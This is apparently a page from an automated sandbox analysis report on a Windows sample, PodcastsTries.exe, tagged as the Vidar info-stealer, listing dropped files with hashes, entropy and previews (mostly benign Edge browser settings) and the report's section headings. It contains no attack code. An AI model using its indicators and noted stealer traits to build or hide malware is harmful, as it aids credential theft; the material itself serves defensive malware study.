Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4ed89.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08983633118473
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWjdi1zNtPM8kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynNXkzItSmd6qE7lFoC
MD5:	DC1D934C1906D196754BA8C1310935B9
SHA1:	E8AA09E10D511EB6414BA6A471E4BF46B9BE88B3
SHA-256:	18114B0A45CCB2E3501BEC4CC5B8E733215B1CE8D8E1CAFDF07DAF4E2728C671
SHA-512:	1011B8D60922B8D87A93284803F1ED8D7B898CA55976E3D12B55C6633FBE22B4103CC16DADA99C81B58A235107DF7C310FC2CF2B5CF9D0108ABE030DC2691E9A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PodcastsTries.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\IMYUKNY5XBIE\16PP89

C:\ProgramData\IMYUKNY5XBIE\58YU37

C:\ProgramData\IMYUKNY5XBIE\6XLN7YM7G

C:\ProgramData\IMYUKNY5XBIE\7YC2NG

C:\ProgramData\IMYUKNY5XBIE\DB1DBA

C:\ProgramData\IMYUKNY5XBIE\HDJEU3

C:\ProgramData\IMYUKNY5XBIE\OHVAS2

C:\ProgramData\IMYUKNY5XBIE\QIWBS2NOP

C:\ProgramData\IMYUKNY5XBIE\S0RQI5

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\15c66898-1364-46f6-9558-c69f08d6e0f7.tmp

Windows Analysis Report
PodcastsTries.exe